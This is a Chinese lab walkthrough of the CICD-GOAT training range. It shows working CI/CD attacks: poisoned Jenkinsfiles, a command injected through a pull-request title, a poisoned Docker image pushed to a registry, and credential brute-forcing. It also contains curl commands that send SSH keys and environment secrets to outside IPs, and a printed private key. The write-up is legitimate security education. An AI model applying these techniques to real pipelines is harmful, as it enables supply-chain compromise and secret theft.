从CICD-GOAT靶场学习top-10-cicd-security-risks

从CICD-GOAT靶场学习top-10-cicd-security-risks
2023-11-9 13:48:55 Author: xz.aliyun.com(查看原文) 阅读量:4 收藏

CICD-GOAT靶场是一个配置了CICD漏洞的靶场，从中可以学习到TOP10 CICD安全漏洞的地址。靶场地址是https://github.com/cider-security-research/cicd-goat
按照官网的步骤安装可以。

Jenkins：http://localhost:8080
Username: alice
Password: alice
Gitea：http://localhost:3000
Username: thealice
Password: thealice
GitLab http://localhost:4000
Username: alice
Password: alice1234

如果你想仔细查看管理员是如何配置的环境，可以使用如下凭据登录后台：
CTFd
Username: admin
Password: ciderland5#
Jenkins
Username: admin
Password: ciderland5#
Gitea
Username: red_queen
Password: ciderland5#
Gitlab
Username:root
Password:ciderland5#

White Rabbit

考察的是PPE漏洞。访问项目对应的gitea仓库，发现存在Jenkinsfile文件，git clone下来注入恶意代码：

pipeline {
    agent any
    environment {
        PROJECT = "src/urllib3"
    }

    stages {
stage('getflag') {
            steps {
                withCredentials([string(credentialsId: 'flag1', variable: 'flag1')]) {
                        sh '''
                            echo "flag1:".$flag1|base64
                        '''
                }
            }
        }
        stage ('Install_Requirements') {
            steps {
                sh """
                    virtualenv venv
                    pip3 install -r requirements.txt || true
                """
            }
        }

        stage ('Lint') {
            steps {
                sh "pylint ${PROJECT} || true"
            }
        }

        stage ('Unit Tests') {
            steps {
                sh "pytest"
            }
        }

    }
    post {
        always {
            cleanWs()
        }
    }
}

创建新分支推送到仓库中并pr：

git checkout -b challenge1
git add *
git commit -m "commit"
git push -u origin challenge1

之后去jenkins中找到pipeline的构建过程，获得flag：

Mad Hatter

Mad Hatter分成了两个仓库，一个仓库存代码一个仓库存pipeline配置文件，切pipeline配置文件的那个仓库无法git push，因此考察的就是间接PPE了。

! [remote rejected] challenge2 -> challenge2 (pre-receive hook declined)

修改makefile：

whoami:
    echo $FLAG|base64

然后就是之前的步骤：

触发pipeline，在make的时候执行恶意代码就可以获得flag了。

Duchess

描述中存储库中存在PyPi token，因此其实就是存储库代码的信息收集了。拿gitleak：

gitleaks detect  -v
Finding:     password = pypi-AgEIcHlwaS5vcmcCJGNmNTI5MjkyLWYxYWMtNDEwYS04OTBjLWE4YzNjNGY1ZTBiZAACJXsicGVybWlzc2lvbnMiOiAidXN...Y
Secret:      pypi-AgEIcHlwaS5vcmcCJGNmNTI5MjkyLWYxYWMtNDEwYS04OTBjLWE4YzNjNGY1ZTBiZAACJXsicGVybWlzc2lvbnMiOiAidXN...
RuleID:      pypi-upload-token
Entropy:     5.538379
File:        .pypirc
Line:        8
Commit:      43f216c2268a94ff03e5400cd4ca7a11243821b0
Author:      Asaf
Email:       [email protected]
Date:        2021-11-16T09:22:31Z
Fingerprint: 43f216c2268a94ff03e5400cd4ca7a11243821b0:.pypirc:pypi-upload-token:8

Caterpillar

这道题比较的奇怪，直接从结果来先分析一下。

以管理员登上Jenkins看一下jenkins。jenkins上有两个Caterpillar的job，一个是test一个是prod。先看一下test的配置：

test是如果发现了forks的项目发起了对main的pull requests就会触发pipeline且trust everyone，因此这就相当于是public-ppe。

而prod的配置：

策略官方文档是这样写的：

Exclude branches that are also filed as PRs. The source branch is not scanned such as the origin’s master branch. These branches need to be merged.
Only branches that are also filed as PRs. Only scan the PR branch.

newbing说第一个是不包含pr了的分支，第二个是pr了的分支。

因此把项目fork下来，git clone之后修改pipeline配置文件读取env：

pipeline {
    agent any
    environment {
        PROJECT = "loguru"
    }

    stages {
        stage ('Install_Requirements') {
            steps {
                sh """
                    env
                """
            }
        }

    }

    post {
        always {
            cleanWs()
        }
    }
}

然后老步骤push上去并pull request。

可以读取到env：

该令牌具有存储库的可写权限，使用此令牌clone存储库：

git clone http://5d3ed5564341d5060c8[email protected]:3000/Wonderland/caterpillar.git

然后就是修改成读取flag的pipeline：

stage('deploy') {
    steps {
        withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'flag2', passwordVariable: 'TOKEN')]) {
            sh 'echo $TOKEN | base64'
        }
    }
}

然后push过去就可以执行。

Cheshire Cat

题目中说All jobs in your victim’s Jenkins instance run on dedicated nodes, but that’s not good enough for you.因此暗示了可能要指定node来执行。考虑到一般执行是在agent1，因此应该制定在built-in node上执行。在网上查一下就知道默认的built-in node的label是built-in。

git clone下来之后修改Jenkinsfile：

pipeline {
    agent {label 'built-in'}
    environment {
        PROJECT = "sanic"
    }

    stages {

        stage ('Unit Tests') {
            steps {
                sh "cat ~/flag5.txt|base64"
            }
        }
    }

    post {
        always {
            cleanWs()
        }
    }
}

指定agent是built-in且从文件系统中读取flag。

然后同样的流程直到pull request，获得flag：

Twiddledum

目标是一个文件夹，gitea上有两个仓库，一个是twiddledee一个是twiddledum，尝试在jenkins里面构建twiddledum，发现pipeline中执行了node index.js，index.js中require了twiddledee，而且twiddledum不可控，而twiddledee可控，因此往twiddledee中注入恶意代码。

修改twiddledee的index.js：

const child_process = require('child_process');
child_process.exec('env|base64 -w 0',function(error, stdout, stderr){console.log(stdout)});

直接push到main分支上。

根据twiddledum的package.json：

"dependencies": {
    "twiddledee": "git+http://gitea:3000/Wonderland/twiddledee#semver:^1.1.0"
  },

它是通过字下载twiddledee的tag为1.1.0的源码来更新的。因此把之前1.1.0的版本发布和tag删除后重新发布：

或者push的时候就打上tag：

git tag 1.2.0 HEAD
git push origin 1.2.0

twiddledum那里再build就可以得到flag：

Dodo

参考https://www.cidersecurity.io/blog/research/malicious-code-analysis-abusing-sast-misconfigurations-to-hack-ci-systems/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422，利用配置文件来控制SAST扫描器的行为。

创建一个.checkov.yml：

soft-fail: true
check:
  - THIS_NOT_THE_CHECK_YOUR_ARE_LOOKING_FOR

修改main.tf中的bucket acl为public-read

resource "aws_s3_bucket" "dodo" {
   bucket        = var.bucket_name
   acl           = "public-read"

push之后build就可以绕过检测得到flag。

Hearts

people下面有很多的用户：

Knave是agent的admin

通过爆破密码可以得到密码

knave:rockme

之后就是新创建一个node，设置它的host和Credentials改成自己服务器和agent的 credentials，ssh发送到自己部署的蜜罐上来得到flag。

先创建蜜罐，使用https://github.com/cowrie/cowrie：

docker run -p 2222:2222 cowrie/cowrie
#设置端口转发
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -P FORWARD ACCEPT
iptables -A INPUT -p tcp --dport 2222 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222

#蜜罐使用完之后将转发的规则删除，要删干净。
iptables -L INPUT --line-numbers
iptables -D INPUT 7
iptables -t nat -L -n --line-numbers
iptables -t nat -D PREROUTING 2

创建新节点：

设置：

点save之后机器就会启动，蜜罐那边就会收到flag：

2023-11-07T03:31:16+0000 [HoneyPotSSHTransport,0,172.18.0.1] Could not read etc/userdb.txt, default database activated
2023-11-07T03:31:16+0000 [HoneyPotSSHTransport,0,172.18.0.1] login attempt [b'agent'/b'B1A648E1-FD8B-4D66-8CAF-78114F55D396'] failed

Dormouse

整理一下这个题目的环境。gitea中的dormouse不可控，它的Jenkinsfile里面请求了一个远程的sh文件并执行：

stage ('Unit Tests') {
            steps {
                sh "pytest || true"
                // prod is also accessible at http://0177.0.0.01:8008/reportcov.sh
                withCredentials([usernamePassword(credentialsId: 'flag9', usernameVariable: 'USERNAME', passwordVariable: 'FLAG')]) {
                    sh """curl -Os http://prod/reportcov.sh
                    chmod +x reportcov.sh
                    ./reportcov.sh
                    """
              }
            }
        }

0177.0.0.01是八进制的127.0.0.1。把这个文件下载下来，上面提示了一个gitea仓库：

http://localhost:3000/Cov/reportcov

这个仓库的Jenkinsfile里面存在一个代码注入：

try {
                                sh "echo Pull Request ${title} created in the reportcov repository"
                                mail bcc: '', body: '', cc: '', from: '', subject: "Pull Request ${title} created in the reportcov repository", to: 'red_queen@localhost'
                            }
                            catch (Exception err) {
                                currentBuild.result = 'SUCCESS'
                            }
                        }

是取pull request的title拼接进命令执行，且这个仓库可以执行P-PPE攻击。

根据下面的代码：

stage ('Deploy') {
                    steps {
                        sh "set +x && echo \"${KEY}\" > key && chmod 400 key && set -x"
                        sh 'scp -o StrictHostKeyChecking=no -i key reportcov.sh root@prod:/var/www/localhost/htdocs'
                    }
                }

执行的node上存在$KEY，是ssh的私钥，可以利用代码注入获取这个私钥，并通过scp传送reportcov.sh文件来把恶意的reportcov.sh文件传送过去，这样dormouse仓库build的时候就会执行我们的恶意代码。

因此开始攻击。将http://localhost:3000/Cov/reportcov项目fork下来，随便改个东西后push后然后发起pull request，在tile处注入恶意代码：

`echo "${KEY}" > key && curl -v -F file=@key http://121.5.169.223:39556`

服务器上可以收到key：

nc -lvvp 39556
Listening on [0.0.0.0] (family 0, port 39556)
Connection from 36.112.200.147 16519 received!
POST / HTTP/1.1
Host: 121.5.169.223:39556
User-Agent: curl/7.74.0
Accept: */*
Content-Length: 2805
Content-Type: multipart/form-data; boundary=------------------------ab4b01bd9df8bad8

--------------------------ab4b01bd9df8bad8
Content-Disposition: form-data; name="file"; filename="key"
Content-Type: application/octet-stream

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAzKMQY9T7R2JBDjFuxCxQWxKI9Nf39EdewMpSYfgR4AslScEzJJX0
O3lfkq1jalL4zp066bFkU21M3p42hVgXnBrcVOR7JU3FiEFDw4qfE2CcJTXFHL4obAqFiy
cp6RxsIjRIoRz8zrBI57k8CyhqZK104xt79XDkWcDnA7lctBwq9Dq9vxsK8SqXvW4cJTu7
osoyMitO3RP3x0EYocsNNnTDNBj1JIMsfmSkOu503LFZqAuqhchKm7BcnpeOYT2qKRuFqv
BowklegCZRWZNWSVI1lGhUQQ3wDgEk0dqUPzHlOhDx4hNAeT/RXttllY+lxci00EFmjRs3
XXgculpXRs3cyC+T3Itn4rQoE5AV5191mIuwufozXCiGgFhOKfOmYe8ZHCcI09pmT2xZ9m
Cpq5VharLKHR3ku4yy3NEYZrOcNvhIfSlkFCTYV5IKXr9VcS3f+KMNrBgvEF0tEqo3sy87
1bbUInjCTViMvCS8G2uFQlnvMRiW4+FNyCcSUqpBAAAFkAzpeAEM6XgBAAAAB3NzaC1yc2
EAAAGBAMyjEGPU+0diQQ4xbsQsUFsSiPTX9/RHXsDKUmH4EeALJUnBMySV9Dt5X5KtY2pS
+M6dOumxZFNtTN6eNoVYF5wa3FTkeyVNxYhBQ8OKnxNgnCU1xRy+KGwKhYsnKekcbCI0SK
Ec/M6wSOe5PAsoamStdOMbe/Vw5FnA5wO5XLQcKvQ6vb8bCvEql71uHCU7u6LKMjIrTt0T
98dBGKHLDTZ0wzQY9SSDLH5kpDrudNyxWagLqoXISpuwXJ6XjmE9qikbharwaMJJXoAmUV
mTVklSNZRoVEEN8A4BJNHalD8x5ToQ8eITQHk/0V7bZZWPpcXItNBBZo0bN114HLpaV0bN
3Mgvk9yLZ+K0KBOQFedfdZiLsLn6M1wohoBYTinzpmHvGRwnCNPaZk9sWfZgqauVYWqyyh
0d5LuMstzRGGaznDb4SH0pZBQk2FeSCl6/VXEt3/ijDawYLxBdLRKqN7MvO9W21CJ4wk1Y
jLwkvBtrhUJZ7zEYluPhTcgnElKqQQAAAAMBAAEAAAGAResRFosWr/UqNSc+qVhavENA+C
cyWQxpm4WFUGPp95rXSrPwPXfe0tNNjFght5pR2IZwMpihpr+ZnBaCmlzW9EdZMMhAKya/
byadeJpMb9p6f1w31PJD7WZK6pifAT7s02L5zdKRri0dO89WbJmKgIujfFVPrTS9UM1QIT
2cJw3Yv0myuzEKNAxRfC+6/h3CpoRfUjTp5S+FYVcki2NNSGXsrEg6uhb3hNfuJRSEaUNP
VtNlmAAvPbKscqNlymO+u1EP9W34UDRCNqGdLZxFs651a50qmmQvTAMYHCOTFUE3ChGnEI
BGLEtsOkYKlEnQg5qQIHKLJExH0a2b0fVFrGK7dcVK3kc7xLgGwvxuFvKl4DeMgCX5q85g
02Mu9Odcsio7t6Go6sXTiB3V/Idbzcp3zbO3B76AQDzhjzTtGYONPR+aDthfnJIJhyxRJg
maE9IHWIpiWe0gzjnSs4HBGqF0F6Rr/XIbjN/53wBmyMO6eVq2wAHbRu/NEgisctfhAAAA
wQCuImeTnL8fGofb3jTAYeckTPiUsM2RsshSbwlZaX3TR4TWNu0mcc94hYButIcG2SMVXc
F4i9jl6cdgAff43uoPy8GKiGc9jF4eylky4c4fgw7EzbtFMPmpFnteA/Oh0SxlxhmUDVHU
mxRkssDSI7Zif6z2KaT3Z9yK92y/265Sm2gkIUshm2BNplgssCdIkNtqZaePBmHr6/09oJ
hRSJmmgkesx7TJ9BqVuuiZdn3E71XNHsbBOyD08cLrZEoNtjkAAADBAPKW8trXU/H85DOl
m9ZN6VGIbnFgtItUN8ntsS2srJ3N5VyfNiGg3pM3p0pWtOmSgjTPjrbeEtb44O73/0z38W
HfzphsbgHg0TVVEFN28N7yLHYpMRkLPz70h/RIBLRmaZrIYKuQ+KgSAPAKydnHaV8JJV75
ubOTb6IEGcR9jFOjwnEe+7pC3AZOwdkstQqCM8mUWUywqKVQ2j4iFeCWyGc2jWGq3tpT9C
oRq1Wiv56KO8IJGHfIAczKyTyLwrxgxwAAAMEA1/MFbll+7fir7eNaJuD2nhvOVq0BlBTj
KLOlCgZnBsWhh+uL+/7hzPQJdG9qZyjk2nkPeUzgwgfbtsjDhp18d1rN+ZvP7mXgtzS02K
ownCDcQz+weO/BhAFFl6IkDPB0XnC8oC0PNKs9Pp9SKlkiDtTKcvFCOBaq5LOn3XFQdaZR
lFAeCtpLFZd1aqozL+WxdhJ+OlUMWexAHNVInX3vM245R2hiSEHJfCMKwKmdQ2nkpyCjMz
nFX2YLEFe9BqS3AAAAF2FzaUBBc2FmLkdyZWVuaG9sdHMtTUJQAQID
-----END OPENSSH PRIVATE KEY-----

--------------------------ab4b01bd9df8bad8--

这里就拿到了key，可以ssh直接登录：

或者用scp修改文件：

echo "${FLAG}" | base64 > reportcov.sh
chmod 400 key
scp -P 2222 -i key reportcov.sh root@localhost:/var/www/localhost/htdocs

再build pipeline就可以获得flag。

Mock Turtle

Jenkins代码有三层判断，问一下newbing，第一部分是检查增加的单词数和减少的单词数必须相同；第二部分是判断version文件是否只有一行，并且符合x.y.z的格式；第三部分是判断pull request中是否修改了version文件。满足上面条件就会执行merge。

因此修改Jenkinsfile

pipeline {
    agent any
    stages {
        stage('pr_checks') {
    steps {
        withCredentials([usernamePassword(credentialsId: 'flag10', usernameVariable: 'flag10', passwordVariable: 'TOKEN')]) {
            sh 'echo $TOKEN | base64'
        }
    }
            }
        }
}

修改version（echo "1.0.13\c">version，最后不能有换行）：

1.0.13

并补上减去的单词数：

echo "a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a">1.txt

实现增减相同：

git diff --word-diff=porcelain origin/main | grep -e "^+[^+]" | wc -w | xargs
1514
git diff --word-diff=porcelain origin/main | grep -e "^-[^-]" | wc -w | xargs
154

（数量根据自己的调，我这边一开始main分支的代码弄乱了，可能有些不一样）

再提交pt就可以merge成功：

Gryphon

一共三个仓库，可控的是pygryphon，awesome-app的pipeline在构建的时候会调用pygryphon中我们可控的恶意代码，且flag11是nest-of-gold的环境变量。

nest-of-gold的pipeline：

image: "python:3.9.15-alpine3.16"

stages:
  - test
  - deploy

test-job:
  stage: test
  script:
    - pip3 install -r requirements.txt
    - export FLAG11=test
    - python3 -m venv tmp
    - source tmp/bin/activate
    - pytest test_login.py
    - deactivate

deploy-job:
  stage: deploy
  environment: production
  script:
    - apk add docker-cli openssh-client
    - echo $SSH_KEY | base64 -d > key && chmod 400 key
    - set -m
    - ssh -fN -o StrictHostKeyChecking=no -i key -L 1111:127.0.0.1:2376 root@prod
    - export DOCKER_HOST=tcp://127.0.0.1:1111
    - docker build --pull -t web:latest .
    - docker stop web || true
    - docker rm web || true
    - docker login -u gryphon -p $TOKEN $CI_REGISTRY
    - docker run -d -e FLAG11=$FLAG11 -p 5000:5000 --name web web:latest

最后会build当前的dockerfile并构建容器，flag11是这个web容器中的环境变量。而nest-of-gold的dockerfile中拉取的镜像是gitlab仓库中的：

FROM gitlab:5050/wonderland/nest-of-gold/python:3.8

WORKDIR /app
COPY app.py .
COPY requirements.txt .
RUN pip3 install -r requirements.txt

CMD [ "python3", "-m" , "flask", "run", "--host=0.0.0.0"]

因此利用awesome-app的pipeline执行我们注入的恶意代码，即将恶意的镜像推送到gitlab，从而污染了image，实现flag的盗取。

修改greet.py的内容，执行将获取flag的命令来替代镜像中的python3命令。官方wp里的不太对，官方的命令在执行RUN pip3 install -r requirements.txt的时候就会curl，但是这个时候flag还没有注入到环境中，而且

import subprocess

DOCKERFILE = """FROM python:3.8
COPY python3 /usr/local/bin/python3.bak
RUN mv /usr/local/bin/pip3 /usr/local/bin/pip3.bak
COPY pip3 /usr/local/bin/pip3
"""
# Exfiltrate Flag11. Insert your server address
PYTHON3 = """#!/bin/bash
env > /tmp/flag.txt;
curl http://10.207.127.144:39502/ -F file=@/tmp/flag.txt
"""
PIP3 ="""#!/bin/bash
/usr/local/bin/pip3.bak install -r requirements.txt
mv /usr/local/bin/python3.bak /usr/local/bin/python3
"""


def run(cmd):
    proc = subprocess.run(cmd, shell=True, timeout=180)
    print(proc.stdout)
    print(proc.stderr)


def hello(name):
    """
    We will build and push a malicous docker image as if it were python 3.8, but in fact
    the python3 binary will be our evil script
    """
    run('apk add docker-cli')
    with open('Dockerfile', 'w') as f:
        f.write(DOCKERFILE)
    with open('python3', 'w') as f:
        f.write(PYTHON3)
    with open('pip3','w') as f:
        f.write(PIP3)
    # Grant our script execution permission
    run('chmod +x python3')
    run('chmod +x pip3')
    # Build the docker file
    run('DOCKER_HOST=tcp://docker:2375 docker build -t gitlab:5050/wonderland/nest-of-gold/python:3.8 .')
    # Login to the docker registry using TOKEN
    run('DOCKER_HOST=tcp://docker:2375 docker login -u gryphon -p $TOKEN $CI_REGISTRY')
    # Push our malicious python docker image to the registry
    run('DOCKER_HOST=tcp://docker:2375 docker push gitlab:5050/wonderland/nest-of-gold/python:3.8')
    return "Hello, " + name

之后就是build成包。要先去把已有的包删掉：

再build并上传

python3.10 -m build ./
python3.10 -m twine upload -r gitlab dist/* --verbose

.pypirc（放到自己的用户目录下，即~/下面）：

#distutils]
index-servers =
    gitlab

[gitlab]
repository = http://localhost:4000/api/v4/projects/pygryphon%2Fpygryphon/packages/pypi
username = alice
password = 998b5802ec365e17665d832f3384e975

之后剩下两个项目每10分钟自动执行一次pipeline，就可以盗取flag了。

awesome-app的pipeline会安装一些东西需要十几分钟的时间，nest-of-gold的pipeline会直接报错，这似乎是代码本身的问题，gitlab登root上去把这行pipeline删掉就行。经过测试似乎执行pipeline的时候挂全局魔法执行的会变快。

之所以会awesome-app会触发恶意代码，是因为pipeline中进行了pytest：

而test_hello.py中访问了flask的hello函数：

import pytest
from app import app as flask_app


@pytest.fixture()
def app():
    yield flask_app


@pytest.fixture()
def client(app):
    return app.test_client()


def test_hello(client):
    response = client.get("/hello")
    assert b"Hello, User" in response.data

因此触发了恶意方法：

def hello():
    return greet.hello('User')

最后两个pipeline都构建成功就可以得到flag，如果中途出了什么问题可以以root登上gitlab手动启动一下pipeline看看什么问题。

POST / HTTP/1.1
Host: 10.207.127.144:39502
User-Agent: curl/7.88.1
Accept: */*
Content-Length: 720
Content-Type: multipart/form-data; boundary=------------------------848315760974512a

--------------------------848315760974512a
Content-Disposition: form-data; name="file"; filename="flag.txt"
Content-Type: text/plain

HOSTNAME=bdc53e195baf
PYTHON_VERSION=3.8.18
PWD=/app
FLAG11=xxx
PYTHON_SETUPTOOLS_VERSION=57.5.0
HOME=/root
LANG=C.UTF-8
GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568
SHLVL=1
PYTHON_PIP_VERSION=23.0.1
PYTHON_GET_PIP_SHA256=22b849a10f86f5ddf7ce148ca2a31214504ee6c83ef626840fde6e5dcd809d11
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/c6add47b0abf67511cdfb4734771cbab403af062/public/get-pip.py
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
_=/usr/bin/env

--------------------------848315760974512a--

至此这个靶场结束。学到了很多的东西。

踩坑

如果built-in节点经常有任务卡住了，重启jenkins-server就可以了。

virtualenv venv进行就报错的话就admin登上jenkins把前面会报错的命令删掉就行了。

这个靶场给我的感觉就是环境的体验比较差，很多地方经常很卡或者报错，刷完之后才发现因为我是m1芯片，为了兼容环境设置了DOCKER_DEFAULT_PLATFORM=linux/amd64的环境变量，因此构建的镜像都是amd64的，导致了问题。后来把DOCKER_DEFAULT_PLATFORM改成linux/arm64后再docker-compose up -d来创建环境，其中有些镜像会提示只有amd64，在docker-compose.yaml额外设置架构就可以，例如：

localstack:
    image: localstack/localstack:0.14.1-amd64
    platform: linux/amd64
    container_name: localstack
    restart: always
    networks:
      - goat

这样启动的靶场又流程又不会出问题了。

文章来源: https://xz.aliyun.com/t/13009
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